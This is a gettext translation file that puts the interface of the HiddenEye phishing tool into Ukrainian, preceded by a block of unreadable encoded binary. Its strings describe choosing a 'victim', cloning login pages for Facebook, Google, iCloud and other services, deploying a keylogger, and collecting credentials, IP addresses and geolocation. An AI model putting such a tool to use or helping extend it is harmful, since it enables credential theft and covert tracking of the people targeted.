z3&lKVwNk;-P>=yfk_=KuI)=I;8;>TqVrZ-%um`Ctmd$c8kxIuh8B~;9`Bv$;w8W+u zT)vSyjV(H_%gf0#6YD91tVz5tlZ_@4cKIzA+o*tdrku-RFAbNAlrwZ4$1+^Pr6x~$ zDzSC^NI*Q{)Y7p=h@2CBy;`tXwU%v57ZLIt%fsQ9^Rs9;+@npFES&3FDIB(|l!r@{ z*ESb&8Wr?mBSZlOD|_|P5YZ5YXlRHV?ms!m9^et#L8F>#YG`PRrf4I%|1dyP8_;7a z?razu3KJSNRE!QPCYJvs6>adTfAdpIOkBrJ{Pn*;Nsbn^Y!$@x8V5e$fkF`XaR|cD# zgDoqmWku^_EssQ6A`u`4(=aB}e=J@?Em^^=sp_SoY8hrLm9mANNsCsOtisr&^^*zH zunc`1bsATq?SX`#j>dugKG_QywpnigzT2uR;(hs+18{lZH~0H zHPb^65jP`C+M1i`35pQV(Qj{Sai>j>iIdo|3A7X6#FZO#M!Ig6^fJMpg4y2IEm-QF8;Sq92Lj$&XCw8j)>pO?u^(g zUP6C20UNU@YvMhH;bWkA zRg%2Sl#F>m%sxuu4`}UUnf5w((_l1B;zf)faygv3*_&?C2<<)zhhIg8+h(GtT_Xl9YK3GBwldmv07su z?5b&)cNXL?g7r=io<)+SJsSwKwDUJbWADFx> zC4h{dUxxCzQu}-+m!Z;e2kdRZ8}$erHtk)H`gJjiV9dM*pU)x`X4t9NVfOwyj6iwC z36X<{h0_@35Z(*CX*&dD1b_-#kK+Uwa@vlJ7ZGZE!Oq#CGD#qMd2mL|`Z7p!ee&y7 ztp2)~uRJB@#QDn8;v9*$2)zaIR%M5H8}MzUjWc4dvPaBOWfzj*#mX}zUdQZNU{|(_ z%ax}p&q-9EiAz8eZ#lS?1C?h9gJ;3<98ec3&&qpQY}`3<5zFq8OICKHxgE`U@iu|& z#maM%M`agAE&%Zy*j~b*L|VXlhcIwK%sW@NFbRZWR#*oDNKR+aniuC6UFgEMXTb1m zl@yTwB#Yw1pnb)$}xnfmaz_{ORF#j1?d^eOh&-P*mpA)YK z>&!dnUn~1eybB@k?uqSm1}0x%jluAO)T>DxgSy*oUtZ?36DU$;Sn^HJqX@I@keh9F zfc*gx;Cm?({EV45q_3ru9EUbq?ur-DpT;Wn=4fC9D2crS#2tvw9ng>?uCf!F??LmD zc;lKctFiSL*ejsF`knP>tyK^y=p3|N5NGXxn}_dqKz!c+*r?Zk$6al+AQGSq7?>6t zM+O6ujO=hOc$*^@8wzO#q0V{WdM?3hRzlvr1ZQztlL-lT^v>1z!|F9(h<_SyTxsW3 zUz~bd?h{8FHokw+<^4z_%a4QNxO@0;CB&800WPw*aFV4AjwHMKd_~NB)B&zlAD25(;RCXyENE;jRaJ_|YjTtGfU;61&{iK$*wskKKm!hQpU< zah`F7fU~*sG@&ai1Ky3`<5mjKRep^GffRoRy9_+8?>=7cPWMztzJcU24RD@059x7! zI`{12MNG_9p66syd*6=wjPokg#rizQ*ZU~Uxa4t%s&4PaaVW%R&Vsn)BF{i}u1*$e zIS=x-m`3%tA9X)}L!j{E?LAfYvIr(wLpLvJzg|hhio_}-z8y4}bEL&iF>4ftX zPq{Wc)PS(|-XBZh!>CS}>fZnw7A0q-Qk=1|Cc6g_z<27ELw-eqLJl_HA>D0bczNWS zel(C};aS9qEE<`cJR{f@!Y%?9PzuXWYp0}S{ZVLcXBYFKQuEV7y^f7Os9$YhF5ApU z1%L7Jx2^Y0$n`dSBu=mi@g5PU*@=fS%-?RW_%8E*jgZA_y&7Dd`aex9mUBOru)jt5 zi`9-7{%mK1%bzU7EObVlgu>yHtime?5EBSzykLHnA1}D#t~RZ`t?hCO21dD!YLAaf zX;tPg3;3Ec^-8~Vh@+L=*bpd8?G;!YK7Z$&MHed1+c{yU%p5qK?SeQQX7S-_\n" +"Language-Team: sTiKyt\n" +"Language: uk_UA\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2\n" +"X-Poedit-Basepath: ../../../Defs\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" +"X-Poedit-SearchPath-0: .\n" + +#: Actions.py:76 +#, python-brace-format +msgid "" +"\n" +" {0}Please select any available server:{1}" +msgstr "" +"\n" +" {0}Будь-ласка оберіть сервер з переліку:{1}" + +#: Actions.py:77 +#, python-brace-format +msgid "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" +msgstr "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" + +#: Actions.py:128 +#, python-brace-format +msgid "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " +msgstr "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} Від:DARKSEC{2}\n" +" {0}[ ТЕПЕР ЗІ ЗБОРОМ ІНФОРМАЦІЇ ПРО ЦІЛЬ ]\n" +" {0}ДЛЯ ВАС БУВ СТВОРЕНИЙ ПЕРЕХОПЛЮВАЧ ВВОДУ, ЩОБ ЗАХОПИТИ КОЖНИЙ " +"СИМВОЛ ]\n" +"<=============================================================================>\n" +" " + +#: Actions.py:151 +msgid "[PHP INSTALLATION FOUND]" +msgstr "[ВИЯВЛЕНО ВСТАНОВЛЕНИЙ PHP ]" + +#: Actions.py:154 +#, python-brace-format +msgid "" +" --{0}>{1} PHP NOT FOUND: \n" +" {0}*{1} Please install PHP and run me again.http://www.php.net/" +msgstr "" +" --{0}>{1} PHP НЕ ВИЯВЛЕНО: \n" +" {0}*{1} Будь-ласка встановіть PHP і перезапустіть HiddenEye.http://www.php." +"net/" + +#: Actions.py:159 +#, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%" +msgstr "{0}[{1}*{0}]{1} HiddenEye завантажується. Зачекайте будь-ласка...{2}%" + +#: Actions.py:163 +#, python-brace-format +msgid "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" +msgstr "" +"\n" +"{2}[{1}!{2}]{1} Ви погоджуєтесь використовувати цей інструмент тільки в " +"цілях освіти? ({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" + +#: Actions.py:165 +#, python-brace-format +msgid "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" +msgstr "" +"\n" +"\n" +"[ {0}ВИ НЕ АВТОРИЗОВАНІ ДЛЯ ВИКОРИСТАННЯ ЦЬОГО ІНСТРУМЕНТУ.ЙОГО ВИКОРИСТАННЯ " +"ПРИПУСКАЄТЬСЯ ТІЛЬКИ В ОСВІТНІХ ЦІЛЯХ. ДО ПОБАЧЕННЯ!{1} ]\n" +"\n" + +#: Actions.py:167 +#, python-brace-format +msgid "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"ОБЕРІТЬ МЕТОД АТАКИ НА ВАШУ ЦІЛЬ:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Actions.py:170 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операції:\n" +"\n" +" {0}[{1}1{0}]{1} Звичайна сторінка\n" +"\n" +" {0}[{1}2{0}]{1} Просунутий фішинг-Метод опитування(Poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook фішинг- Підробна проблема безпеки(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook фішинг-Ініціали Messenger'a(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Actions.py:174 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операції:\n" +"\n" +" {0}[{1}1{0}]{1} Звичайна сторінка\n" +"\n" +" {0}[{1}2{0}]{1} Просунутий фішинг(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Новий Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Actions.py:198 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операції:\n" +"\n" +" {0}[{1}1{0}]{1} Звичайна веб-сторінка Instagram\n" +"\n" +" {0}[{1}2{0}]{1} Instagram автолайкер (Після підтвердження зсилається на " +"оригінальний автолайкер)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Actions.py:222 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операції:\n" +"\n" +" {0}[{1}1{0}]{1} Звичайна веб-сторінка VK\n" +"\n" +" {0}[{1}2{0}]{1} Просунутий фішинг(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Actions.py:232 +#, python-brace-format +msgid "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" +msgstr "" +" {0}\n" +" [{1}*{0}] модуль завантажено. Відбудова сайту...{0}" + +#: Actions.py:236 +msgid "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" +msgstr "" +"\n" +" (Обирайте з розумом, ваша ціль буде спрямована за цією адресою)" + +#: Actions.py:237 +msgid "" +"\n" +" (Leave Blank To Loop The Phishing Page)" +msgstr "" +"\n" +" (Залиште чистим для зациклення сторінки)" + +#: Actions.py:238 +#, python-brace-format +msgid "" +"\n" +" {0}Insert a custom redirect url:" +msgstr "" +"\n" +" {0}Введіть альтернативну адресу для переадресації:" + +#: Actions.py:239 +#, python-brace-format +msgid "" +"\n" +" {0}CUSTOM URL>>> {1}" +msgstr "" +"\n" +" {0}Альтернативний URL>>> {1}" + +#: Actions.py:270 +#, python-brace-format +msgid "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " +msgstr "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}ВІД КОМАНДИ DARKSEC \n" +" {0}ДЯКУЄМО ЩО ЗАЛИШАЄТЕСЬ З НАМИ. ДОПОМОЖІТЬ НАМ ПОКРАЩИТИ " +"ПРОГРАМУ\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " + +#: Actions.py:287 +#, python-brace-format +msgid "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" +msgstr "" +"{0}[{1}*{0}]{1} Очікування базавої інформації//натиснення клавіш//Інформації " +"про пристрій цілі. \n" + +#: Actions.py:293 +#, python-brace-format +msgid "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}{2}{1}" +msgstr "" +" {0}[ ВИЯВЛЕНО ІНФОРМАЦІЮ ]{1}:\n" +" {0}{2}{1}" + +#: Actions.py:308 +#, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}{2}{1}" +msgstr "" +" \n" +"{0}[ Додатковий IP цілі ]{1}:\n" +" {0}{2}{1}" + +#: Actions.py:314 +#, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}{2}{1}" +msgstr "" +" \n" +"{0}[ ВИЯВЛЕНО КООРДИНАТИ ЦІЛІ ]{1}:\n" +" {0}{2}{1}" + +#: Actions.py:315 +#, python-brace-format +msgid "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" +msgstr "" +" \n" +"{0}Довгота: {2} \n" +"Широта: {3}{1}" + +#: Actions.py:316 +#, python-brace-format +msgid "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" +msgstr "" +" \n" +"{0}Інтернет провайдер: {2} \n" +"Країна: {3}{1}" + +#: Actions.py:317 +#, python-brace-format +msgid "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" +msgstr "" +" \n" +"{0}Регіон: {2} \n" +"Місто: {3}{1}" + +#: Actions.py:327 +#, python-format, python-brace-format +msgid "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ ОТРИМАННЯ НАТИСНЕННЬ КЛАВІШ]{1}:\n" +" {0}%s{1}" + +#: Checks.py:17 +#, python-brace-format +msgid "{0}Successful connection!{1}" +msgstr "{0}Успішне зєднання!{1}" + +#: Checks.py:23 +#, python-brace-format +msgid "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" +msgstr "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Помилка мережі. Перевірте ваше " +"зєднання.\n" +"\n" + +#: Checks.py:34 +msgid "[*] Downloading Ngrok..." +msgstr "[*] Завантаження Ngrok..." + +#~ msgid "Victim Public IP: (.*?)\n" +#~ msgstr "Публічна IP адреса цілі: (.*?)\n"